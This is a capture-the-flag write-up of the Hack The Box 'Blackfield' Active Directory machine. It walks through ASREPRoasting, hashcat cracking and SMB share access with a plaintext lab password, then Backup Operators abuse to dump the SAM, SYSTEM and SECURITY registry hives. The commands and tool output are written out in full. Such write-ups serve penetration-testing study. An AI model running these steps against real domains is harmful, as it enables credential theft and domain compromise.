Backfield is a hard Windows machine featuring Windows and Active Directory misconfigurations. Anonymous / Guest access to an SMB share is used to enumerate users. The user is found to have Kerberos pre-authentication disabled, which allows us to conduct an ASREPRoasting attack. This allows us to retrieve a hash of the encrypted material contained in the AS-REP, which can be subjected to an offline brute force attack in order to recover the plaintext password. With this user we can access a SMB share containing forensics artifacts, including an lsass process dump. This contains a username and a password for a user with WinRM privileges, who is also a member of the Backup Operators group. The privileges conferred by this privileged group are used to dump the Active Directory database, and retrieve the hash of the primary domain administrator.
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-02-28 22:58:26Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49677/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:a0fc2d3cd96d551c43ed7ddfcf9f0efa$9861e8be198b1bbf19120a2f99a8<SNIP> [-] User BLACKFIELD764430 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User BLACKFIELD538365 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User BLACKFIELD189208 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User BLACKFIELD404458 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User BLACKFIELD706381 doesn't have UF_DONT_REQUIRE_PREAUTH set <SNIP>
Cracking this with hashcat gives us a clear text password.
1 2 3 4 5 6 7 8 9 10
$ hashcat support.hash /usr/share/wordlists/rockyou.txt --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
Looking into this share with impacket-smbclient showed us a couple to choose from.
1 2 3 4 5 6 7 8 9 10 11
$ impacket-smbclient -dc-ip 10.10.10.192 'blackfield.local/audit2020:Password123@blackfield.local' Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # use forensic # ls drw-rw-rw- 0 Sun Feb 23 09:10:16 2020 . drw-rw-rw- 0 Sun Feb 23 09:10:16 2020 .. drw-rw-rw- 0 Sun Feb 23 12:14:37 2020 commands_output drw-rw-rw- 0 Thu May 28 15:29:24 2020 memory_analysis drw-rw-rw- 0 Fri Feb 28 16:30:34 2020 tools
This looks like a dump of some sort from the DC based on the tools and commands_output directory.
Tools Directory:
1 2 3 4 5 6
# ls drw-rw-rw- 0 Fri Feb 28 16:30:34 2020 . drw-rw-rw- 0 Fri Feb 28 16:30:34 2020 .. drw-rw-rw- 0 Fri Feb 28 16:30:34 2020 sleuthkit-4.8.0-win32 drw-rw-rw- 0 Fri Feb 28 16:30:35 2020 sysinternals drw-rw-rw- 0 Fri Feb 28 16:30:35 2020 volatility
Commands_output Directory:
1 2 3 4 5 6 7 8 9 10 11 12
# ls drw-rw-rw- 0 Sun Feb 23 12:14:37 2020 . drw-rw-rw- 0 Sun Feb 23 12:14:37 2020 .. -rw-rw-rw- 528 Sun Feb 23 12:12:54 2020 domain_admins.txt -rw-rw-rw- 962 Sun Feb 23 12:12:54 2020 domain_groups.txt -rw-rw-rw- 16454 Fri Feb 28 16:32:17 2020 domain_users.txt -rw-rw-rw- 518202 Sun Feb 23 12:12:54 2020 firewall_rules.txt -rw-rw-rw- 1782 Sun Feb 23 12:12:54 2020 ipconfig.txt -rw-rw-rw- 3842 Sun Feb 23 12:12:54 2020 netstat.txt -rw-rw-rw- 3976 Sun Feb 23 12:12:54 2020 route.txt -rw-rw-rw- 4550 Sun Feb 23 12:12:54 2020 systeminfo.txt -rw-rw-rw- 9990 Sun Feb 23 12:12:54 2020 tasklist.txt
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /all <SNIP> GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group <SNIP> PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled <SNIP>
So where part of BackupOperators. Shouldn’t be too hard. Lets backup the SAM,SYSTEM,and SECURITY.
1 2 3 4 5 6 7 8 9 10
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg.exe save hklm\sam SAM.save The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg.exe save hklm\system SYSTEM.save The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg.exe save hklm\security SECURITY.save reg.exe : ERROR: Access is denied. + CategoryInfo : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError
Hmmm….can’t backup the SECURITY locally, lets try remotely.
1 2 3 4 5
$ reg.py 'blackfield.local'/'svc_backup'@'10.10.10.192' -hashes :<SNIP> save -keyName 'HKLM\SECURITY' -o 'C:\Users\svc_backup\Documents\' Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe... [*] Saved HKLM\SECURITY to C:\Users\svc_backup\Documents\\SECURITY.save
Now we can download them on to our machine and dump the secrets.
